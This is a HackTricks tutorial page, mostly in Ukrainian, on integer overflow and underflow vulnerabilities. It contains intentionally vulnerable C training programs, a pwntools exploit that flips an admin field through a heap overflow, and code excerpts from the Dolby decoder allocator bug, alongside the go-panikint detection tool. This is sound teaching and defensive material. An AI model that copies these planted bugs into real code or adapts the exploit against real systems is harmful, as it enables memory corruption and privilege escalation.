Integer Overflow
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Основна інформація
У серці integer overflow лежить обмеження, накладене розміром типів даних у програмуванні та інтерпретацією даних.
Наприклад, 8-розрядний беззнаковий цілий може представляти значення від 0 до 255. Якщо ви спробуєте зберегти значення 256 в 8-розрядний беззнаковий цілий, воно обернеться до 0 через обмеження ємності. Аналогічно, для 16-розрядного беззнакового цілого, який може зберігати значення від 0 до 65,535, додавання 1 до 65,535 знову оберне значення до 0.
Крім того, 8-розрядний знаковий цілий може представляти значення від -128 до 127. Це тому, що один біт використовується для позначення знаку (позитивного чи негативного), залишаючи 7 біт для представлення величини. Найменше від’ємне число представлено як -128 (бінарно 10000000), а найбільше додатне число — 127 (бінарно 01111111).
Максимальні значення для поширених цілих типів:
| Тип | Розмір (біт) | Мінімальне значення | Максимальне значення |
|---|---|---|---|
| int8_t | 8 | -128 | 127 |
| uint8_t | 8 | 0 | 255 |
| int16_t | 16 | -32,768 | 32,767 |
| uint16_t | 16 | 0 | 65,535 |
| int32_t | 32 | -2,147,483,648 | 2,147,483,647 |
| uint32_t | 32 | 0 | 4,294,967,295 |
| int64_t | 64 | -9,223,372,036,854,775,808 | 9,223,372,036,854,775,807 |
| uint64_t | 64 | 0 | 18,446,744,073,709,551,615 |
short еквівалентний int16_t, int еквівалентний int32_t, а long еквівалентний int64_t у 64-бітних системах.
Максимальні значення
Для потенційних web vulnerabilities дуже корисно знати максимальні підтримувані значення:
fn main() {
let mut quantity = 2147483647;
let (mul_result, _) = i32::overflowing_mul(32767, quantity);
let (add_result, _) = i32::overflowing_add(1, quantity);
println!("{}", mul_result);
println!("{}", add_result);
}
Приклади
Pure overflow
Надрукований результат буде 0, оскільки ми overflowed char:
#include <stdio.h>
int main() {
unsigned char max = 255; // 8-bit unsigned integer
unsigned char result = max + 1;
printf("Result: %d\n", result); // Expected to overflow
return 0;
}
Signed to Unsigned Conversion
Розглянемо ситуацію, коли зі вводу користувача зчитується знакове ціле число, яке потім використовується в контексті, що трактує його як беззнакове ціле число, без належної валідації:
#include <stdio.h>
int main() {
int userInput; // Signed integer
printf("Enter a number: ");
scanf("%d", &userInput);
// Treating the signed input as unsigned without validation
unsigned int processedInput = (unsigned int)userInput;
// A condition that might not work as intended if userInput is negative
if (processedInput > 1000) {
printf("Processed Input is large: %u\n", processedInput);
} else {
printf("Processed Input is within range: %u\n", processedInput);
}
return 0;
}
У цьому прикладі, якщо користувач введе від’ємне число, воно буде інтерпретоване як велике беззнакове ціле число через спосіб інтерпретації двійкових значень, що потенційно призведе до непередбачуваної поведінки.
macOS Overflow Example
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
/*
* Realistic integer-overflow → undersized allocation → heap overflow → flag
* Works on macOS arm64 (no ret2win required; avoids PAC/CFI).
*/
__attribute__((noinline))
void win(void) {
puts("🎉 EXPLOITATION SUCCESSFUL 🎉");
puts("FLAG{integer_overflow_to_heap_overflow_on_macos_arm64}");
exit(0);
}
struct session {
int is_admin; // Target to flip from 0 → 1
char note[64];
};
static size_t read_stdin(void *dst, size_t want) {
// Read in bounded chunks to avoid EINVAL on large nbyte (macOS PTY/TTY)
const size_t MAX_CHUNK = 1 << 20; // 1 MiB per read (any sane cap is fine)
size_t got = 0;
printf("Requested bytes: %zu\n", want);
while (got < want) {
size_t remain = want - got;
size_t chunk = remain > MAX_CHUNK ? MAX_CHUNK : remain;
ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
if (n > 0) {
got += (size_t)n;
continue;
}
if (n == 0) {
// EOF – stop; partial reads are fine for our exploit
break;
}
// n < 0: real error (likely EINVAL when chunk too big on some FDs)
perror("read");
break;
}
return got;
}
int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
puts("=== Bundle Importer (training) ===");
// 1) Read attacker-controlled parameters (use large values)
size_t count = 0, elem_size = 0;
printf("Entry count: ");
if (scanf("%zu", &count) != 1) return 1;
printf("Entry size: ");
if (scanf("%zu", &elem_size) != 1) return 1;
// 2) Compute total bytes with a 32-bit truncation bug (vulnerability)
// NOTE: 'product32' is 32-bit → wraps; then we add a tiny header.
uint32_t product32 = (uint32_t)(count * elem_size);//<-- Integer overflow because the product is converted to 32-bit.
/* So if you send "4294967296" (0x1_00000000 as count) and 1 as element --> 0x1_00000000 * 1 = 0 in 32bits
Then, product32 = 0
*/
uint32_t alloc32 = product32 + 32; // alloc32 = 0 + 32 = 32
printf("[dbg] 32-bit alloc = %u bytes (wrapped)\n", alloc32);
// 3) Allocate a single arena and lay out [buffer][slack][session]
// This makes adjacency deterministic (no reliance on system malloc order).
const size_t SLACK = 512;
size_t arena_sz = (size_t)alloc32 + SLACK; // 32 + 512 = 544 (0x220)
unsigned char *arena = (unsigned char*)malloc(arena_sz);
if (!arena) { perror("malloc"); return 1; }
memset(arena, 0, arena_sz);
unsigned char *buf = arena; // In this buffer the attacker will copy data
struct session *sess = (struct session*)(arena + (size_t)alloc32 + 16); // The session is stored right after the buffer + alloc32 (32) + 16 = buffer + 48
sess->is_admin = 0;
strncpy(sess->note, "regular user", sizeof(sess->note)-1);
printf("[dbg] arena=%p buf=%p alloc32=%u sess=%p offset_to_sess=%zu\n",
(void*)arena, (void*)buf, alloc32, (void*)sess,
((size_t)alloc32 + 16)); // This just prints the address of the pointers to see that the distance between "buf" and "sess" is 48 (32 + 16).
// 4) Copy uses native size_t product (no truncation) → It generates an overflow
size_t to_copy = count * elem_size; // <-- Large size_t
printf("[dbg] requested copy (size_t) = %zu\n", to_copy);
puts(">> Send bundle payload on stdin (EOF to finish)...");
size_t got = read_stdin(buf, to_copy); // <-- Heap overflow vulnerability that can bue abused to overwrite sess->is_admin to 1
printf("[dbg] actually read = %zu bytes\n", got);
// 5) Privileged action gated by a field next to the overflow target
if (sess->is_admin) {
puts("[dbg] admin privileges detected");
win();
} else {
puts("[dbg] normal user");
}
return 0;
}
Скомпілюйте це за допомогою:
clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
-o int_ovf_heap_priv int_ovf_heap_priv.c
Exploit
# exploit.py
from pwn import *
# Keep logs readable; switch to "debug" if you want full I/O traces
context.log_level = "info"
EXE = "./int_ovf_heap_priv"
def main():
# IMPORTANT: use plain pipes, not PTY
io = process([EXE]) # stdin=PIPE, stdout=PIPE by default
# 1) Drive the prompts
io.sendlineafter(b"Entry count: ", b"4294967296") # 2^32 -> (uint32_t)0
io.sendlineafter(b"Entry size: ", b"1") # alloc32 = 32, offset_to_sess = 48
# 2) Wait until it’s actually reading the payload
io.recvuntil(b">> Send bundle payload on stdin (EOF to finish)...")
# 3) Overflow 48 bytes, then flip is_admin to 1 (little-endian)
payload = b"A" * 48 + p32(1)
# 4) Send payload, THEN send EOF via half-close on the pipe
io.send(payload)
io.shutdown("send") # <-- this delivers EOF when using pipes, it's needed to stop the read loop from the binary
# 5) Read the rest (should print admin + FLAG)
print(io.recvall(timeout=5).decode(errors="ignore"))
if __name__ == "__main__":
main()
macOS Underflow Приклад
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
/*
* Integer underflow -> undersized allocation + oversized copy -> heap overwrite
* Works on macOS arm64. Data-oriented exploit: flip sess->is_admin.
*/
__attribute__((noinline))
void win(void) {
puts("🎉 EXPLOITATION SUCCESSFUL 🎉");
puts("FLAG{integer_underflow_heap_overwrite_on_macos_arm64}");
exit(0);
}
struct session {
int is_admin; // flip 0 -> 1
char note[64];
};
static size_t read_stdin(void *dst, size_t want) {
// Read in bounded chunks so huge 'want' doesn't break on PTY/TTY.
const size_t MAX_CHUNK = 1 << 20; // 1 MiB
size_t got = 0;
printf("[dbg] Requested bytes: %zu\n", want);
while (got < want) {
size_t remain = want - got;
size_t chunk = remain > MAX_CHUNK ? MAX_CHUNK : remain;
ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
if (n > 0) { got += (size_t)n; continue; }
if (n == 0) break; // EOF: partial read is fine
perror("read"); break;
}
return got;
}
int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
puts("=== Packet Importer (UNDERFLOW training) ===");
size_t total_len = 0;
printf("Total packet length: ");
if (scanf("%zu", &total_len) != 1) return 1; // Suppose it's "8"
const size_t HEADER = 16;
// **BUG**: size_t underflow if total_len < HEADER
size_t payload_len = total_len - HEADER; // <-- UNDERFLOW HERE if total_len < HEADER --> Huge number as it's unsigned
// If total_len = 8, payload_len = 8 - 16 = -8 = 0xfffffffffffffff8 = 18446744073709551608 (on 64bits - huge number)
printf("[dbg] total_len=%zu, HEADER=%zu, payload_len=%zu\n",
total_len, HEADER, payload_len);
// Build a deterministic arena: [buf of total_len][16 gap][session][slack]
const size_t SLACK = 256;
size_t arena_sz = total_len + 16 + sizeof(struct session) + SLACK; // 8 + 16 + 72 + 256 = 352 (0x160)
unsigned char *arena = (unsigned char*)malloc(arena_sz);
if (!arena) { perror("malloc"); return 1; }
memset(arena, 0, arena_sz);
unsigned char *buf = arena;
struct session *sess = (struct session*)(arena + total_len + 16);
// The offset between buf and sess is total_len + 16 = 8 + 16 = 24 (0x18)
sess->is_admin = 0;
strncpy(sess->note, "regular user", sizeof(sess->note)-1);
printf("[dbg] arena=%p buf=%p total_len=%zu sess=%p offset_to_sess=%zu\n",
(void*)arena, (void*)buf, total_len, (void*)sess, total_len + 16);
puts(">> Send payload bytes (EOF to finish)...");
size_t got = read_stdin(buf, payload_len);
// The offset between buf and sess is 24 and the payload_len is huge so we can overwrite sess->is_admin to set it as 1
printf("[dbg] actually read = %zu bytes\n", got);
if (sess->is_admin) {
puts("[dbg] admin privileges detected");
win();
} else {
puts("[dbg] normal user");
}
return 0;
}
Скомпілюйте це за допомогою:
clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
-o int_underflow_heap int_underflow_heap.c
Allocator alignment rounding wrap → undersized chunk → heap overflow (Dolby UDC case)
Деякі custom allocators округлюють allocations вгору до alignment без повторної перевірки на overflow. У Dolby Unified Decoder (Pixel 9, CVE-2025-54957) керований атакуючим emdf_payload_size (декодований за допомогою необмеженого циклу variable_bits(8)) передається в ddp_udc_int_evo_malloc:
size_t total_size = alloc_size + extra;
if (alloc_size + extra < alloc_size) return 0; // initial wrap guard
if (total_size % 8)
total_size += (8 - total_size) % total_size; // vulnerable rounding
if (total_size > heap->remaining) return 0;
Для 64-бітних значень поблизу 0xFFFFFFFFFFFFFFF9, (8 - total_size) % total_size переповнює додавання і призводить до дуже малого total_size, хоча логічний alloc_size залишається величезним. Викликач пізніше записує payload_length байт у повернений chunk:
buffer = ddp_udc_int_evo_malloc(evo_heap, payload_length, extra);
for (size_t i = 0; i < payload_length; i++) { // bounds use logical size
buffer[i] = next_byte_from_emdf(); // writes past tiny chunk
}
Чому exploitation надійна в цьому pattern:
- Overflow length control: Байти беруться з reader-а, обмеженого іншим attacker-chosen length (
emdf_container_length), тож запис зупиняється після N байтів замість розпиленняpayload_length. - Overflow data control: Байти, записані поза чанком, повністю надаються атакуючим з EMDF payload.
- Heap determinism: Аллокатор — per-frame bump-pointer slab без frees, тому суміжність пошкоджених об’єктів передбачувана.
Інші приклади
-
https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html
-
Для збереження розміру пароля використовується лише 1B, тож можна його переповнити і змусити думати, що він має довжину 4, хоча насправді вона 260 — це дозволяє обійти перевірку довжини.
-
https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html
-
Дано кілька чисел — знайти за допомогою z3 нове число, яке при множенні на перше дасть друге:
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
- https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/
- Для збереження розміру пароля використовується лише 1B, тому його можна переповнити і змусити думати, що довжина 4, хоча насправді 260 — це дозволяє обійти перевірку довжини і перезаписати на стеку наступну локальну змінну, обходячи обидві захисти.
Go integer overflow detection with go-panikint
Go wraps integers silently. go-panikint — це форкований Go toolchain, який інжектить SSA overflow checks так, що wrapped arithmetic одразу викликає runtime.panicoverflow() (panic + stack trace).
Навіщо використовувати
- Робить overflow/truncation досяжними під час fuzzing/CI, бо тепер wrap-операції падають.
- Корисно поруч із user-controlled pagination, offsets, quotas, size calculations або access-control math (наприклад,
end := offset + limitнаuint64, який може wrap-нути при малих значеннях).
Build & use
git clone https://github.com/trailofbits/go-panikint
cd go-panikint/src && ./make.bash
export GOROOT=/path/to/go-panikint
./bin/go test -fuzz=FuzzOverflowHarness
Запустіть цей форкований бінарний файл go для тестів/fuzzing, щоб проявити переповнення як panics.
Контроль шуму
- Перевірки усічення (casts до менших ints) можуть бути шумними.
- Підавляйте навмисний wrap-around через фільтри source-path або inline коментарі
// overflow_false_positive/// truncation_false_positive.
Реальний приклад
go-panikint виявив переповнення пагінації Cosmos SDK для uint64: end := pageRequest.Offset + pageRequest.Limit виконало wrap-around за MaxUint64, через що поверталися порожні результати. Інструментування перетворило тихе wrap-around на panic, який fuzzers змогли мінімізувати.
ARM64
Це не змінюється на ARM64, як видно в цьому блог-пості.
Посилання
- Виявляйте приховані арифметичні баги Go за допомогою go-panikint
- go-panikint (форк компілятора)
- Pixel 0-click – CVE-2025-54957 allocator wrap → heap overflow
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


